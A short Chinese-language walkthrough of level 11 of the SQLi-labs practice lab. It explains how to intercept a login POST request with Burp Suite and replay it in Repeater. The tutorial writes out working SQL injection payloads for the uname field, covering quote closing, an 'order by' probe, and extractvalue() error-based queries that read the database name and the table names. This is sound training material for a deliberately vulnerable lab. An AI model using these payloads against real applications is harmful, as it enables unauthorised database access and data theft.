SQLI DUMB SERIES-11 及 Burp Suite Professional的简易使用方法

11关为POST提交 

则我们可以借助工具：BurpLoader

将浏览器设置代理为127.0.0.1

在Burploader中设置代理

在其中添加 127.0.0.1:8080 并在前方的Running复选框打上勾

在工具中打开拦截

此时我们在浏览器中的任何数据都会被拦截

在数据报中右键选择Send to Repeater

我们再进入Repeater选项卡然后修改数据包后 点GO发送

uname=admin'&passwd=admin&submit=Submit

发送后报错

单引号成功构造闭合

uname=admin' order by 2 --+&passwd=admin&submit=Submit

extractvalue() :对XML文档进行查询的函数

语法：extractvalue(目标xml文档，xml路径)

uname=admin' and extractvalue(1,concat(0,(select database())))--+&passwd=admin&submit=Submit

 

uname=admin' and extractvalue(1,concat(0,(select table_name from information_schema.tables where table_schema='security')))--+&passwd=admin&submit=Submit